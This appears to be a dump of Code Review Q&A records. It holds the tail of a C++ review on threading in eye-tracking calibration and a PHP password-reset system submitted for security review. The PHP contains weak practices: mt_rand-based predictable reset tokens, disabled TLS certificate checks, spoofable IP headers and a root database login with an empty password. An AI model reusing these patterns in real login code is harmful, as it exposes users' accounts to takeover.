std::cout << "plotting point #" << (i + 1) << " sequentially\\n";\n\n// Output:\nplotting point #1 sequentially\nplotting point #2 sequentially\nplotting point #3 sequentially\nplotting point #4 sequentially\nplotting point #5 sequentially\nplotting point #6 sequentially\nplotting point #7 sequentially\nplotting point #8 sequentially\nplotting point #9 sequentially\nplotting point #10 sequentially\n</code></pre>\n<p>Hm, that’s not 9 points. 10 ≠ 9.</p>\n<p>There are two important lessons here, a small one and a big one.</p>\n<p>The small lesson is that the standard form for a <code>for</code> loops is <code>for (auto i = 0; i < N; ++i)</code>. Note the condition: it’s <code>i < N</code>… not <code>i <= N</code>.</p>\n<p>The big lesson is that <em>this is why the experts say not to write naked loops</em>. Naked loops are error-prone. They’re also unclear. You have no idea what a loop is doing without reading the body of the loop (and even then it’s sometimes not clear). A <em>MUCH</em> better practice is to use algorithms. For example, if you wrote an rigorously tested a <code>repeat<N>()</code> function, you could use that, and it would be clear and safe:</p>\n<pre><code>template <std::size_t N, std::invocable F>\nauto repeat(F&& f)\n{\n for (auto i = std::size_t(0); i != N; ++i)\n f();\n}\n\ntemplate <std::size_t N, std::invocable<std::size_t> F>\nauto repeat(F&& f)\n{\n for (auto i = std::size_t(0); i != N; ++i)\n f(i);\n}\n\nvoid showCalibration()\n{\n repeat<9>([&](auto i) // self-documenting that you just want to repeat something 9 times\n {\n std::unique_lock<std::mutex> lk(mu);\n // ... and so on ...\n });\n}\n</code></pre>\n<p>Now the biggest problem in <code>showCalibration()</code> (and in general) is that you go a little lock-crazy. You lock too often, hold the locks for too long, and reuse locks (which is generally a terrible idea, because it makes it harder to reason about when a lock is held or not).</p>\n<p>Take a look at the first few lines of <code>showCalibration()</code>:</p>\n<pre><code>std::unique_lock<std::mutex> lk(mu);\n{\n temp_pupil.clear();//prepare for get new data\n}\nlk.unlock();\n</code></pre>\n<p>Okaaaay… but… why not this:</p>\n<pre><code>{\n auto lock = std::scoped_lock(mu);\n temp_pupil.clear();\n}\n</code></pre>\n<p>That’s not only one line shorter, it’s also clearer about what the lock is really for, and how long it’s being held.</p>\n<p>Now, this line is baffling, for several reasons:</p>\n<pre><code>cond.notify_one();//signal CaptureFrame() to capture data\n</code></pre>\n<p>The first problem is they you notify on this condition… but <code>CaptureFrame()</code> doesn’t actually wait on that condition.</p>\n<p>Nor does it make any sense that it should. If <code>CaptureFrame()</code> is capturing frames from a camera, it doesn’t really need the consumer thread’s permission to capture the next frame. It should just capture the next frame as soon as it can; waiting on the processing of the previous frame or whatever defeats the purpose of doing this concurrently.</p>\n<p>The other big problem with this is that you’re abusing condition variables. A condition variable should represent a single condition. But you are using <code>cond</code> (which is a terrible name for a condition variable, because it leads to exactly this kind of problem) for <em>two</em> conditions: “ready for the next frame to be captured” and “the next frame has already been captured and is ready for processing”.</p>\n<p>If you <em>actually</em> wanted to wait on both those conditions, you would need <em>two</em> condition variables. But of course… you don’t really want to wait for permission to capture the next frame. (And you don’t even need to wait on the condition that the next frame is ready for processing, either.)</p>\n<pre><code>lk.lock();\n{\n while (temp_pupil.empty())\n {\n cond.wait(lk);//wait CaptureFrame() to end current point\n }\n std::string cal = std::to_string(temp_pupil.size()) + "Cali" + std::to_string(i) + "\\n";\n std::cout << cal;//print\n}\nlk.unlock();\n</code></pre>\n<p>Okay, reusing locks is <em>bad</em>. But the larger problem is that your function is complex enough that it <em>needs</em> to reuse a lock. If your function locks, unlocks, then relocks, and unlocks… that’s usually a sign that it should be <em>two</em> functions.</p>\n<pre><code>while (temp_pupil.empty())\n{\n cond.wait(lk);//wait CaptureFrame() to end current point\n}\n</code></pre>\n<p><em>Never</em> wait on condition variables like this. Writing a loop like this is just an invitation to confusion and bugs.</p>\n<p>Instead, do this:</p>\n<pre><code>cond.wait(lk, [] { return not temp_pupil.empty(); });\n</code></pre>\n<p>This is clean, self-contained, and impossible for any future maintainer to misunderstand or fuck up.</p>\n<p>So, overall, this block of code can become:</p>\n<pre><code>{\n auto lock = std::unique_lock(mu);\n cond.wait(lock, [] { return not temp_pupil.empty(); });\n\n std::cout << temp_pupil.size() << "Cali" << i << '\\n';\n}\n</code></pre>\n<p>But let’s look at the big picture in this function:</p>\n<pre><code>void showCalibration()\n{\n repeat<9>([&](auto i)\n {\n {\n auto lock = std::scoped_lock(mu);\n temp_pupil.clear();\n }\n\n std::this_thread::sleep_for(std::chrono::milliseconds(100));\n\n {\n auto lock = std::unique_lock(mu);\n cond.wait(lock, [] { return not temp_pupil.empty(); });\n\n std::cout << temp_pupil.size() << "Cali" << i << '\\n';\n }\n });\n}\n</code></pre>\n<p>Does it really make sense for the processing thread to clear the queue, then go to sleep, then wake up and start processing data? Doesn’t it make more sense to just wake up, process the data, clear the queue when done with the data, then go back to sleep?</p>\n<pre><code>void showCalibration()\n{\n repeat<9>([&](auto i)\n {\n auto lock = std::unique_lock(mu);\n cond.wait(lock, [] { return not temp_pupil.empty(); });\n\n // process the data somehow...\n std::cout << temp_pupil.size() << "Cali" << i << '\\n';\n\n temp_pupil.clear();\n });\n}\n</code></pre>\n<p>But this holds the lock way too long, so, even better would be:</p>\n<pre><code>void showCalibration()\n{\n repeat<9>([&](auto i)\n {\n auto data = std::vector<cv::Point2d>{};\n\n {\n auto lock = std::unique_lock(mu);\n cond.wait(lock, [] { return not temp_pupil.empty(); });\n\n std::swap(data, temp_pupil);\n }\n\n // process the data somehow...\n std::cout << data.size() << "Cali" << i << '\\n'; // you may have to synchronize std::cout\n // but I know it's just being used and example, so I'll ignore it\n });\n}\n</code></pre>\n<p>And if you wanted to be more efficient and reuse the allocated memory, you could move <code>data</code> out of the loop, and manually clear it before swapping (or at the end of the loop). (If you wanted to simulate a processing delay, you could insert the sleep operation where the processing comment is, I suppose.)</p>\n<pre><code>void CaptureFrame()\n{\n cv::Point2d pupil;\n</code></pre>\n<p>You generally shouldn’t declare variables until you need them.</p>\n<pre><code>for (int i = 0; i <= 500; i++)\n</code></pre>\n<p>Is this meant to be <code>for (int i = 0; i < 500; i++)</code>?</p>\n<pre><code>std::unique_lock<std::mutex> lk(mu);\n{\n // ... [snip] ...\n}\nlk.unlock();\n</code></pre>\n<p>There is no reason to use a unique lock, or to manually unlock here. Just do:</p>\n<pre><code>{\n auto lock = std::scoped_lock(mu);\n // ... [snip] ...\n}\n</code></pre>\n<p>Now, take a step back, and look at the big picture in <code>CaptureFrame()</code>. What this function <em>should</em> do is:</p>\n<ol>\n<li>create the data</li>\n<li>push the data to the shared data store</li>\n<li>notify the waiters that there is data</li>\n</ol>\n<p>The lock on the shared data is only necessary for step 2.</p>\n<p>That means:</p>\n<pre><code>void CaptureFrame()\n{\n repeat<500>([&](auto i)\n {\n auto pupil = cv::Point2d(i, i); //create data\n\n std::cout << temp_pupil.size() << "Captue" << i << '\\n'; // don't forget to synchronize std::cout\n\n {\n auto lock = std::scoped_lock(mu);\n temp_pupil.push_back(std::move(pupil));\n }\n\n cond.notify_one();\n });\n}\n</code></pre>\n<p>The moral of the story is that concurrency and synchronization shouldn’t swallow up your entire program. Merely doing a bunch of stuff concurrently is not the point of your program: your program is (presumably) doing something actually useful. So focus on that, design your program around that functionality, and only add concurrency and synchronization sparingly, and don’t let it become the whole focus of the program.</p>\n<p>And also, don’t look at what’s in the standard library, and then design your synchronization around that. Look at what your program <em>needs</em>, and then see what the standard library offers. And if it doesn’t offer something (which is very common), then look at third party libraries. The point is: figure out what your program needs and then look for the tools that will accomplish that… don’t figure out what tools you have on hand and then jigger your program around in order to use them.</p>\n<p>And don’t bother with condition variables. They’re inefficient and difficult to use correctly. You almost never really need them.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T23:28:49.447",
"Id": "503951",
"Score": "0",
"body": "Sorry for my late respond. Thank you for your detail review and guide. I will implement your instructions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T04:14:08.017",
"Id": "503965",
"Score": "0",
"body": "Sorry for my unclear purpose about '''std::this_thread::sleep_for(std::chrono::milliseconds(100));'''. I used it to \"simulate\" animate points. My idea is that the data will be gotten in this period only. In calibration procedure, subjects were asked to fixate on 9 points displayed sequentially on the computer monitor. For each stimulating point, the average coordinates of the pupil and cornea reflection’s centers on 100 eye images were calculated."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T23:21:24.877",
"Id": "255425",
"ParentId": "255411",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255425",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:37:58.110",
"Id": "255411",
"Score": "1",
"Tags": [
"c++",
"multithreading"
],
"Title": "Eye tracking calibration"
}
|
255411
|
<p>What I try to achieve
I need to create a secure forgot password reset system. I am especially worrying about the security of this code and how to further improve it. Here's my code:</p>
<p>d32b6f67a9d2ff687d9b7d.php:
maintenance
placed one level above the root folder</p>
<pre><code><?php
define('WEB_MASTER_EMAIL', 'mail@example.com');
define('CONTACT_EMAIL', "mail@example.com");
define('ERROR_LOG_EMAIL', 'mail@example.com');
date_default_timezone_set('UTC');
$maintenance = false;
$home = 'http://localhost/projectturmeric/';
$webpageTitle = "Project Turmeric";
$t_users = "users";
$t_activationKeys = "activation_keys";
$t_passwordReset = "password_reset_requests";
if ($maintenance) {
header('location:' . $home . 'under-maintenance.php');
exit();
}
?>
</code></pre>
<p>dbconnect
placed one level above the root folder
c6ef0226276fb386d4a7a7dcb4df38ee9df1105a2244b7bd.php:</p>
<pre><code><?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '');
define('DB_NAME', "project_turmeric");
?>
</code></pre>
<p>system/utils.php
utils.php:
contains mostly used functions</p>
<pre><code><?php
function create_db_linkage_instance()
{
try {
$greenf = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4;", DB_USERNAME, DB_PASSWORD);
return $greenf;
} catch (Exception $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Exception Error | ' . $msg . ' | \n';
error_log($err_msg, 3, ERROR_LOG_BOOK);
// error_log("Date/time: $date, Exception Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Exception Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
} catch (Error $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Error | ' . $msg . ' | \n';
error_log($err_msg, 1, ERROR_LOG_BOOK);
// error_log("Date/time: $date, Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
}
return null;
}
function findIP()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
//check ip from share internet
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
//to check ip is pass from proxy
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function sendMail($to, $name, $subject, $message): bool
{
$developmentMode = true;
$mail = new PHPMailer\PHPMailer\PHPMailer($developmentMode);
$mail->SMTPDebug = 0; // disables SMTP debug information (for testing)
$mail->IsSMTP();
if ($developmentMode) {
$mail->SMTPOptions = [
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true
]
];
}
$mail->Host = "smtp.gmail.com";
$mail->SMTPAuth = true;
$mail->Username = "mail@example.com";
$mail->Password = "********";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->setFrom('no-reply@projectturmeric.com', 'Project Turmeric'); // sender email and name
$mail->AddAddress($to, $name);
$mail->IsHTML(true);
$mail->Subject = $subject;
$mail->Body = $message;
$mail->CharSet = "utf-8";
$mail->addReplyTo('mail@example.com', 'Information');
$mail->wordwrap = 70;
if ($mail->send()) {
$mail->ClearAllRecipients();
$mail->clearAttachments();
return true;
}
$mail->ClearAllRecipients();
$mail->clearAttachments();
return false;
}
?>
</code></pre>
<p>users/forgot-password.php
forgot-password.php:
this script sends the account recovery email</p>
<pre><code><?php
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Maintenance
require '../../d32b6f67a9d2ff687d9b7d.php';
require '../system/utils.php';
if (isset($_SESSION['user_id'])) {
// user is already verified and logged in
// so redirect to index page
header('location:' . $home);
exit();
}
// error log
define('ERROR_LOG_BOOK', '../../error.log');
// functions
function endTheWebpage()
{
echo '</div>';
echo '</main>';
echo '</div>';
echo '<footer id="footer">';
include '../includes/footer.php';
echo '</footer>';
echo '<!-- SCRIPTS -->';
echo '<script type="text/javascript" src="..\js\jquery-3.4.1.min.js"></script>';
echo '<script type="text/javascript" src="..\css\bootstrap-4.3.1\js\bootstrap.min.js"></script>';
echo '</body>';
echo '</html>';
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="">
<meta name="author" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="..\css\bootstrap-4.3.1\css\bootstrap.min.css" type="text/css">
<link rel="stylesheet" href="..\css\main.css" type="text/css">
<title>Forgot Password | <?php echo htmlspecialchars($webpageTitle, ENT_QUOTES); ?></title>
</head>
<body>
<header id="header">
<?php
$menu = 4; // activation.php
include '../includes/header.php';
?>
</header>
<div class="container">
<main>
<div id="reset-password-area">
<h1 class="text-center">Reset Password</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_SANITIZE_EMAIL) : "";
$email = trim($email);
if (!empty($email)) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors['email'] = 'Please enter a valid email.';
}
} else {
$errors['email'] = 'please enter your email.';
}
if (empty($errors)) {
$requestTime = date("Y-m-d H:i:s"); // current date / time
try {
require '../../c6ef0226276fb386d4a7a7dcb4df38ee9df1105a2244b7bd.php';
$greenf = create_db_linkage_instance();
// check if the user exists in the database
// if yes, pull the display name associated with that email
$qry = 'SELECT display_name FROM ' . $t_users . ' WHERE email=:email';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowcount() === 1) {
$data = $stmt->fetch(PDO::FETCH_OBJ);
$displayName = $data->display_name;
// delete the old token from the database if present
$qry = 'DELETE FROM ' . $t_passwordReset . ' WHERE email=:email';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->execute();
$token = hash('sha256', mt_rand(1000000000, 9999999999) . date("Y-m-d H:i:s"));
$token_id = hash('sha256', mt_rand(1000000000, 9999999999) . date("Y-m-d H:i:s"));
$url = $home . "users/reset-password.php?id=" . $token_id . "&token=" . $token;
// hash the token to store it in the database
$hashedToken = password_hash($token, PASSWORD_DEFAULT);
$qry = 'INSERT INTO ' . $t_passwordReset . ' (email, token_id, token, request_time) VALUES (:email, :token_id, :token, :request_time)';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->bindParam(':token_id', $token_id, PDO::PARAM_STR);
$stmt->bindParam(':token', $hashedToken, PDO::PARAM_STR);
$stmt->bindParam(':request_time', $requestTime, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowcount() === 1) {
// send the password reset email
$to = $email;
$subject = "Reset Password - " . $webpageTitle;
$mailContent = file('../../reset-password-with-account-email-template.html');
$expires = date("d-m-Y H:i:s", strtotime($requestTime . " +30 minute")); // current date / time + 30 minutes
$temp = findIP();
if (filter_var($temp, FILTER_VALIDATE_IP) === false) {
// invalid ip
// set it to 0.0.0.0
$ip = "0.0.0.0";
} else {
$ip = $temp; // valid ip
}
$mailContent = str_replace("{{HomePage}}", $home, $mailContent);
$mailContent = str_replace("{{Logo}}", $home . "images/logo.png", $mailContent);
$mailContent = str_replace("{{WebpageTitle}}", $webpageTitle, $mailContent);
$mailContent = str_replace("{{Name}}", $displayName, $mailContent);
$mailContent = str_replace("{{PasswordResetLink}}", $url, $mailContent);
$mailContent = str_replace("{{Expires}}", $expires, $mailContent);
$mailContent = str_replace("{{ForgetPasswordResetLink}}", $home . "users/cancel-password-reset-request.php", $mailContent);
$mailContent = str_replace("{{IP}}", $ip, $mailContent);
$mailContent = str_replace("{{AccountRecoveryLink}}", $home . "users/forgot-password.php", $mailContent);
$mailContent = str_replace("{{ContactUs}}", $home . "contact-us.php", $mailContent);
$body = "";
if (is_array($mailContent)) {
foreach ($mailContent as $mc) {
$body .= $mc;
}
} else {
$body = $mailContent;
}
require_once '../libs/PHPMailer-master/src/Exception.php';
require_once '../libs/PHPMailer-master/src/PHPMailer.php';
require_once '../libs/PHPMailer-master/src/SMTP.php';
if (sendMail($to, $displayName, $subject, $body)) {
$stmt = $greenf = null;
echo '<p class="text-center" style="color: green;">Account recovery email sent to ' . $to . '. Please open this email to reset your password.</p>';
echo '<p class="text-center" class="m_info">If you don’t see this email in your inbox within 15 minutes, look for it in your junk mail folder. If you find it there, please mark it as “Not Junk”.</p>';
echo '<p class="text-center" class="m_info">If you are still experiencing any problems, contact <a href="../contact-us.php" target="_blank">support</a>.</p>';
} else {
$stmt = $greenf = null;
echo '<p class="text-center">The system is busy please try later.</p>';
}
endTheWebpage(); // close div, main, include footer, close body and html tags
} else {
// cannot insert the password reset token into the database
// display the error message and end the webpage
$stmt = $greenf = null;
echo '<p class="text-center">The system is busy please try later.</p>';
endTheWebpage(); // close div, main, include footer, close body and html tags
} // end of inserting password_reset_token into the database if condition block
} else {
// the email entered to reset the password is not found in the database.
// so send the account not found. Sign up instead email
$stmt = $greenf = null;
$to = $email;
$subject = "Reset Password - " . $webpageTitle;
$mailContent = file('../../reset-password-without-account-email-template.html');
$temp = findIP();
if (filter_var($temp, FILTER_VALIDATE_IP) === false) {
// invalid ip
// set it to 0.0.0.0
$ip = "0.0.0.0";
} else {
$ip = $temp; // valid ip
}
$mailContent = str_replace("{{HomePage}}", $home, $mailContent);
$mailContent = str_replace("{{Logo}}", $home . "images/logo.png", $mailContent);
$mailContent = str_replace("{{WebpageTitle}}", $webpageTitle, $mailContent);
$mailContent = str_replace("{{Email}}", $to, $mailContent);
$mailContent = str_replace("{{WebpageTitle}}", $webpageTitle, $mailContent);
$mailContent = str_replace("{{SignUpEmail}}", $home . "users/signup.php", $mailContent);
$mailContent = str_replace("{{IP}}", $ip, $mailContent);
$mailContent = str_replace("{{ContactUs}}", $home . "contact-us.php", $mailContent);
$body = "";
if (is_array($mailContent)) {
foreach ($mailContent as $mc) {
$body .= $mc;
}
} else {
$body = $mailContent;
}
require_once '../libs/PHPMailer-master/src/Exception.php';
require_once '../libs/PHPMailer-master/src/PHPMailer.php';
require_once '../libs/PHPMailer-master/src/SMTP.php';
if (sendMail($to, "", $subject, $body)) {
$stmt = $greenf = null;
echo '<p class="text-center" style="color: green;">Account recovery email sent to ' . $to . '. Please open this email to reset your password.</p>';
echo '<p class="text-center" class="m_info">If you don’t see this email in your inbox within 15 minutes, look for it in your junk mail folder. If you find it there, please mark it as “Not Junk”.</p>';
echo '<p class="text-center" class="m_info">If you are still experiencing any problems, contact <a href="../contact-us.php" target="_blank">support</a>.</p>';
} else {
$stmt = $greenf = null;
echo '<p class="text-center">The system is busy please try later.</p>';
}
endTheWebpage(); // close div, main, include footer, close body and html tags
} // end of existsInDatabase() if condition block
} catch (Exception $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Exception Error | ' . $msg . ' | \n';
error_log($err_msg, 3, ERROR_LOG_BOOK);
// error_log("Date/time: $date, Exception Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Exception Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
} catch (Error $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Error | ' . $msg . ' | \n';
error_log($err_msg, 3, ERROR_LOG_BOOK);
// error_log("Date/time: $date, Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
} // end of try catch blocks
} // end of empty($errors) if condition block without else block. The errors will be displayed next to the input field.
}
?>
<form id="reset-password-form" class="m_form" name="reset-password-form" method="post" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>">
<p class="text-center">Forgot your account’s password or having trouble logging into your account? Enter your email address and we’ll send you a recovery link.</p>
<div class="mb-3"></div>
<div class="row form-group">
<label class="col-sm-4 text-left col-form-label font-weight-bold" for="email">Email<span style="color: red;">&nbsp;*</span></label>
<div class="col-sm-8">
<input class="form-control" id="email" type="email" name="email" required title="Enter your email" value="<?php if (isset($_POST['email'])) {
echo htmlspecialchars($_POST['email'], ENT_QUOTES);
} ?>">
<label class="error"><?php if (isset($errors['email'])) {
echo htmlspecialchars($errors['email'], ENT_QUOTES);
} ?></label>
</div>
</div>
<div class="row form-group">
<label class="col-sm-4 col-form-label text-left"></label>
<div class="col-sm-8 text-center">
<button class="btn btn-success M_button" id="reset-password-button" type="submit" name="reset-password-button">Send recovery email</button>
</div>
</div>
</form>
</div>
</main>
</div>
<footer id="footer">
<?php include '../includes/footer.php'; ?>
</footer>
<!-- SCRIPTS -->
<script type="text/javascript" src="..\js\jquery-3.4.1.min.js"></script>
<script type="text/javascript" src="..\css\bootstrap-4.3.1\js\bootstrap.min.js"></script>
</body>
</html>
</code></pre>
<p>users/reset-password.php
reset-password.php:
this script validates the token_id & token, allows the user to reset the password</p>
<pre><code><?php
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Maintenance
require '../../d32b6f67a9d2ff687d9b7d.php';
require '../system/utils.php';
if (isset($_SESSION['user_id'])) {
// user is already verified and logged in
// so redirect to index page
header('location:' . $home);
exit();
}
// error log
define('ERROR_LOG_BOOK', '../../error.log');
// functions
function endTheWebpage()
{
echo '</div>';
echo '</main>';
echo '</div>';
echo '<footer id="footer">';
include '../includes/footer.php';
echo '</footer>';
echo '<!-- SCRIPTS -->';
echo '<script type="text/javascript" src="..\js\jquery-3.4.1.min.js"></script>';
echo '<script type="text/javascript" src="..\css\bootstrap-4.3.1\js\bootstrap.min.js"></script>';
echo '</body>';
echo '</html>';
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="">
<meta name="author" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="..\css\bootstrap-4.3.1\css\bootstrap.min.css" type="text/css">
<link rel="stylesheet" href="..\css\main.css" type="text/css">
<title>Reset Password | <?php echo htmlspecialchars($webpageTitle, ENT_QUOTES); ?></title>
</head>
<body>
<header id="header">
<?php
$menu = 4; // activation.php
include '../includes/header.php';
?>
</header>
<div class="container">
<main>
<div id="reset-password-area">
<h1 class="text-center">Reset Password</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token_id = isset($_SESSION['id']) ? filter_var($_SESSION['id'], FILTER_SANITIZE_STRING) : "";
$token = isset($_SESSION['token']) ? filter_var($_SESSION['token'], FILTER_SANITIZE_STRING) : "";
} else {
$token_id = isset($_GET['id']) ? filter_var($_GET['id'], FILTER_SANITIZE_STRING) : "";
$token = isset($_GET['token']) ? filter_var($_GET['token'], FILTER_SANITIZE_STRING) : "";
$_SESSION['id'] = $token_id;
$_SESSION['token'] = $token;
}
if (!empty($token_id) && strlen($token_id) === 64 && !empty($token) && strlen($token) === 64) {
// token and token_id seems to be valid
// proceed to check inside the database
try {
require_once '../../c6ef0226276fb386d4a7a7dcb4df38ee9df1105a2244b7bd.php';
$greenf = create_db_linkage_instance();
$qry = 'SELECT * FROM ' . $t_passwordReset . ' WHERE token_id=:token_id';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':token_id', $token_id, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowcount() === 1) {
$data = $stmt->fetch(PDO::FETCH_OBJ);
$email = htmlspecialchars($data->email, ENT_QUOTES);
$hashed_token = $data->token;
$requestTime = htmlspecialchars($data->request_time, ENT_QUOTES);
$expiresDate = date("Y-m-d H:i:s", strtotime($requestTime . " +30 minute"));
$expires = DateTime::createFromFormat("Y-m-d H:i:s", $expiresDate);
$currentDateTime = DateTime::createFromFormat("Y-m-d H:i:s", date("Y-m-d H:i:s"));
if ($currentDateTime < $expires) {
// the token is not expired
if (password_verify($token, $hashed_token)) {
// display the password reset form
?>
<form class="m_form" id="reset-password-form" name="reset-password-form" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="POST">
<div class="mb-3"></div>
<?php
// validate the password submitted to reset
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$newPassword = isset($_POST['new_password']) ? $_POST['new_password'] : "";
$confirmPassword = isset($_POST['confirm_password']) ? $_POST['confirm_password'] : "";
if (!empty($newPassword)) {
if ($newPassword !== $confirmPassword) {
$errors['password'] = 'Your new password and confirm password do not match.';
} else if (!preg_match("/(?=.*[a-z])(?=.*[A-Z])(?=.*[\d]).{8,}/", $newPassword)) {
$errors['password'] = 'Password must contain at least eight characters, including at least 1 uppercase letter, one lowercase letter and 1 number.';
}
} else {
$errors['password'] = 'Please enter your new password.';
}
if (empty($errors)) {
$hashed_password = password_hash($newPassword, PASSWORD_DEFAULT);
$temp = findIP();
if (filter_var($temp, FILTER_VALIDATE_IP) === false) {
// invalid ip
// set it to 0.0.0.0
$ip = "0.0.0.0";
} else {
$ip = $temp; // valid ip
}
$qry = 'UPDATE ' . $t_users . ' SET password=:password, last_login_ip=:last_login_ip WHERE email=:email';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':password', $hashed_password, PDO::PARAM_STR);
$stmt->bindParam(':last_login_ip', $ip, PDO::PARAM_STR);
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowcount() === 1) {
// new password updated successfully
$qry = 'DELETE FROM ' . $t_passwordReset . ' WHERE token_id=:token_id';
$stmt = $greenf->prepare($qry);
$stmt->bindParam(':token_id', $token_id, PDO::PARAM_STR);
$stmt->execute();
unset($_SESSION['id']);
unset($_SESSION['token']);
$stmt = $greenf = null;
echo '<p class="text-center" style="color: green;">Congratulations! Your password has been changed successfully. Please <a href="login.php">click here</a> to login and enjoy.';
endTheWebpage();
} else {
$stmt = $greenf = null;
echo '<p class="text-center">The system is busy please try later.</p>';
endTheWebpage();
} // end of rowcount() === 1 if condition block (Update query);
} // end of empty($errors) if condition block without else block (errors will be displayed next to the textboxes
} // end of $_SERVER['REQUEST_METHOD'] === 'POST if condition block to validate the password and update the database with the new password
?>
<p class="text-center">Please use the form below to reset your password.</p>
<div class="mb-3"></div>
<div class="row form-group">
<label for="new_password" class="col-sm-4 col-form-label text-left font-weight-bold">New password<span style="color: darkred;">&nbsp;*</span></label>
<div class="col-sm-8">
<input class="form-control m_text" id="new-password" type="password" name="new_password" required value="<?php if (isset($_POST['new_password'])) {
echo htmlspecialchars($_POST['new_password']);
} ?>" pattern="(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9]).{8,}" title="Password must contain at least eight characters, including at least 1 uppercase letter, one lowercase letter and 1 number.">
<label class="error"><?php if (isset($errors['password'])) {
echo htmlspecialchars($errors['password'], ENT_QUOTES);
} ?>Password must contain at least eight characters, including at least 1 uppercase letter, one lowercase letter and 1 number.</label>
</div>
</div>
<div class="row form-group">
<label for="confirm_password" class="col-sm-4 col-form-label text-left font-weight-bold">Confirm password<span style="color: darkred;">&nbsp;*</span></label>
<div class="col-sm-8">
<input class="form-control m_text" id="confirm-password" type="password" name="confirm_password" required value="<?php if (isset($_POST['confirm_password'])) {
echo htmlspecialchars($_POST['confirm_password']);
} ?>">
</div>
</div>
<div class="row form-group">
<label class="col-sm-4 col-form-label text-left"></label>
<div class="col-sm-8 text-center">
<button class="btn btn-success M_button" id="reset-password-button" type="submit" name="reset-password-button">Reset password</button>
</div>
</div>
</form>
<?php
} else {
// the token hash not matched with the token hash in the database
$stmt = $greenf = null;
echo '<p class="text-center" style="color: ed;">The link is invalid.</p>';
echo '<p class="text-center">Please <a href="forgot-password.php">click here</a> to get a new link to reset your password.</p>';
endTheWebpage();
}
} else {
// the token has been expired
$stmt = $greenf = null;
echo '<p class="text-center" style="color: ed;">The link has been expired.</p>';
echo '<p class="text-center">Please <a href="forgot-password.php">click here</a> to get a new link to reset your password.</p>';
endTheWebpage();
}
} else {
// no data returned from the database
$stmt = $greenf = null;
echo '<p class="text-center" style="color: red;">The link is invalid.</p>';
echo '<p class="text-center">Please <a href="forgot-password.php">click here</a> to get a new link to reset your password.</p>';
endTheWebpage();
} // end of $stmt->rowcount() === 1 if condition block ('SELECT QUERY')
} catch (Exception $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Exception Error | ' . $msg . ' | \n';
error_log($err_msg, 3, ERROR_LOG_BOOK);
// error_log("Date/time: $date, Exception Error check error log for more details", 1, WEB_MASTER_EMAIL, "Subject: Exception Error \nfrom: Error Log <" . ERROR_LOG_EMAIL . "> \r\n");
} catch (Error $e) {
$date = '[' . date('d-M-Y h-i-s a') . ']';
$msg = $e->getMessage();
$err_msg = $date . ' | Error | ' . $msg . ' | \n';
error_log($err_msg, 3, ERROR_LOG_BOOK);
